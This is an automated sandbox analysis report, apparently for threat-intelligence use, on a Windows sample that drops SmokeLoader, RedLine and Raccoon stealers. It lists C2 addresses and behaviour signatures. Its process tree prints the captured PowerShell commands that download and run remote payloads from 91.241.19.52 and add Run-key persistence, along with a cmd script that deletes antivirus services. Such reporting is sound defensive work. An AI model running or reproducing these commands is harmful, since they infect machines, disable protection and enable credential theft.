Analysis

  • max time kernel
    150s
  • max time network
    190s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    12/08/2021, 00:11

General

  • Target
    2c30e7340666a2b59ee88f5250ab50e5.exe
  • Size 319KB
  • Sample210812-grey77llca
  • SHA256 e43b2359f27dde4a5f8de4483f9db4016bdf1d2dd0a93ebdbc6c599b3bcbf889
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.241.19.52/Api/GetFile2

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://readinglistforjuly1.xyz/

  • http://readinglistforjuly2.xyz/

  • http://readinglistforjuly3.xyz/

  • http://readinglistforjuly4.xyz/

  • http://readinglistforjuly5.xyz/

  • http://readinglistforjuly6.xyz/

  • http://readinglistforjuly7.xyz/

  • http://readinglistforjuly8.xyz/

  • http://readinglistforjuly9.xyz/

  • http://readinglistforjuly10.xyz/

  • http://readinglistforjuly1.site/

  • http://readinglistforjuly2.site/

  • http://readinglistforjuly3.site/

  • http://readinglistforjuly4.site/

  • http://readinglistforjuly5.site/

  • http://readinglistforjuly6.site/

  • http://readinglistforjuly7.site/

  • http://readinglistforjuly8.site/

  • http://readinglistforjuly9.site/

  • http://readinglistforjuly10.site/

rc4.i32
rc4.i32

Extracted

Family
  • redline

Botnet
  • @gasfer_dark

C2
  • 207.154.240.76:80

Extracted

Family
  • raccoon

Botnet
  • 2ca2376c561d1af7f8b9e6f3256b06220a3db187

Attributes
  • url4cnc

    https://telete.in/johnyes13

rc4.plain
rc4.plain

Extracted

Family
  • raccoon

Botnet
  • cd8dc1031358b1aec55cc6bc447df1018b068607

Attributes
  • url4cnc

    https://telete.in/jagressor_kz

rc4.plain
rc4.plain

Extracted

Family
  • raccoon

Botnet
  • 471c70de3b4f9e4d493e418d1f60a90659057de0

Attributes
  • url4cnc

    https://telete.in/p1rosto100xx

rc4.plain
rc4.plain

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon Stealer Payload 6 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 17 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 31 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2c30e7340666a2b59ee88f5250ab50e5.exe
    "C:\Users\Admin\AppData\Local\Temp\2c30e7340666a2b59ee88f5250ab50e5.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1728
    • C:\Users\Admin\AppData\Local\Temp\2c30e7340666a2b59ee88f5250ab50e5.exe
      "C:\Users\Admin\AppData\Local\Temp\2c30e7340666a2b59ee88f5250ab50e5.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1752
  • C:\Users\Admin\AppData\Local\Temp\45F6.exe
    C:\Users\Admin\AppData\Local\Temp\45F6.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:1048
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {4A1B7FFB-7D0D-40FB-9F62-AF62324558FF} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:512
    • C:\Users\Admin\AppData\Roaming\cgtsftu
      C:\Users\Admin\AppData\Roaming\cgtsftu
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:1828
      • C:\Users\Admin\AppData\Roaming\cgtsftu
        C:\Users\Admin\AppData\Roaming\cgtsftu
        3⤵
        • Executes dropped EXE
        • Checks SCSI registry key(s)
        • Suspicious behavior: MapViewOfSection
        PID:1300
  • C:\Users\Admin\AppData\Local\Temp\4B25.exe
    C:\Users\Admin\AppData\Local\Temp\4B25.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1784
    • C:\Users\Admin\AppData\Local\Temp\is-KR4AL.tmp\4B25.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-KR4AL.tmp\4B25.tmp" /SL5="$6001C,4193427,831488,C:\Users\Admin\AppData\Local\Temp\4B25.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:364
      • C:\Users\Admin\AppData\Local\Temp\4B25.exe
        "C:\Users\Admin\AppData\Local\Temp\4B25.exe" /VERYSILENT
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:540
        • C:\Users\Admin\AppData\Local\Temp\is-FF57T.tmp\4B25.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-FF57T.tmp\4B25.tmp" /SL5="$7001C,4193427,831488,C:\Users\Admin\AppData\Local\Temp\4B25.exe" /VERYSILENT
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2040
          • C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe
            "C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:1764
  • C:\Users\Admin\AppData\Local\Temp\540B.exe
    C:\Users\Admin\AppData\Local\Temp\540B.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1832
  • C:\Users\Admin\AppData\Local\Temp\5B1E.exe
    C:\Users\Admin\AppData\Local\Temp\5B1E.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    PID:1092
    • C:\ProgramData\Runtimebroker.exe
      "C:\ProgramData\Runtimebroker.exe"
      2⤵
      • Executes dropped EXE
      • Drops startup file
      • Loads dropped DLL
      PID:1132
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://91.241.19.52/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        3⤵
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        PID:1176
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $dll =[Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://91.241.19.52/Api/GetFile2'));$theType = $dll.GetType('filedll.Program');$method = $theType.GetMethod('Start');$method.Invoke([System.Activator]::CreateInstance($theType),@());rv dll,theType,method
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of AdjustPrivilegeToken
        PID:2504
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-MpPreference -verbose
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2692
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" @echo off Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE2.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE1.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP18.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP17.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP16.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP15.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP14.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP13.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP12.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP11.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP10.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MBAMService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAWFwk" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MSK80Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAPExe" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McBootDelayStartSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mccspsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfefire" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\HomeNetSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ModuleCoreService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McMPFSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mcpltsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McProxy" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McODS" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfemms" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAfee SiteAdvisor Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfevtp" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McNaiAnn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\nanosvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\NortonSecurity" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\!SASCORE" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\SBAMSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVAuxSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVCoreSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\QHActiveDefense" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Firewall" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVG Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirMailService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Avira.ServiceHost" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirWebService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirSchedulerService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsservppl" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ProductAgentService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\updatesrv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdAgent" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdvirth" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\DragonUpdater" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ekrn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\0247141531883172mcinstcleanup" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\PEFService" /f set "osX=%PROCESSOR_ARCHITECTURE%" if defined PROCESSOR_ARCHITEW6432 set "osX=AMD64" if "%osX%"=="x86" ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg64.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlservice.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -boot" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f ) else ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg64.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlservice.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -boot" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 )
          4⤵
            PID:2864
    • C:\Users\Admin\AppData\Local\Temp\6240.exe
      C:\Users\Admin\AppData\Local\Temp\6240.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious use of AdjustPrivilegeToken
      PID:1940
      • C:\Users\Admin\AppData\Local\Temp\6240.exe
        C:\Users\Admin\AppData\Local\Temp\6240.exe
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:2896
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\6240.exe"
          3⤵
            PID:3000
            • C:\Windows\SysWOW64\timeout.exe
              timeout /T 10 /NOBREAK
              4⤵
              • Delays execution with timeout.exe
              PID:3028
      • C:\Users\Admin\AppData\Local\Temp\6B56.exe
        C:\Users\Admin\AppData\Local\Temp\6B56.exe
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Modifies system certificate store
        PID:736
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\6B56.exe"
          2⤵
            PID:2452
            • C:\Windows\SysWOW64\timeout.exe
              timeout /T 10 /NOBREAK
              3⤵
              • Delays execution with timeout.exe
              PID:2484
        • C:\Users\Admin\AppData\Local\Temp\6C6F.exe
          C:\Users\Admin\AppData\Local\Temp\6C6F.exe
          1⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:816
        • C:\Users\Admin\AppData\Local\Temp\6E25.exe
          C:\Users\Admin\AppData\Local\Temp\6E25.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:1536
        • C:\Users\Admin\AppData\Local\Temp\7171.exe
          C:\Users\Admin\AppData\Local\Temp\7171.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:360
        • C:\Windows\SysWOW64\explorer.exe
          C:\Windows\SysWOW64\explorer.exe
          1⤵
            PID:1720
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            1⤵
              PID:1684
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              1⤵
                PID:1556
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:2164
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                    PID:2196
                  • C:\Windows\explorer.exe
                    C:\Windows\explorer.exe
                    1⤵
                      PID:2256
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:2388
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe
                        1⤵
                          PID:2532
                        • C:\Windows\SysWOW64\explorer.exe
                          C:\Windows\SysWOW64\explorer.exe
                          1⤵
                            PID:2616

                          Network

                                MITRE ATT&CK Enterprise v6

                                Replay Monitor

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                                Downloads

                                memory/360-157-0x0000000004850000-0x0000000004851000-memory.dmp

                                memory/360-149-0x0000000000AB0000-0x0000000000AB1000-memory.dmp

                                memory/364-90-0x0000000000240000-0x0000000000241000-memory.dmp

                                memory/540-91-0x0000000000400000-0x00000000004D8000-memory.dmp

                                memory/736-143-0x0000000000400000-0x0000000002CB1000-memory.dmp

                                memory/736-142-0x0000000004450000-0x00000000044E3000-memory.dmp

                                memory/816-156-0x0000000000400000-0x0000000000946000-memory.dmp

                                memory/816-155-0x00000000002E0000-0x0000000000371000-memory.dmp

                                memory/1092-126-0x0000000000220000-0x000000000025B000-memory.dmp

                                memory/1092-127-0x0000000000400000-0x0000000000919000-memory.dmp

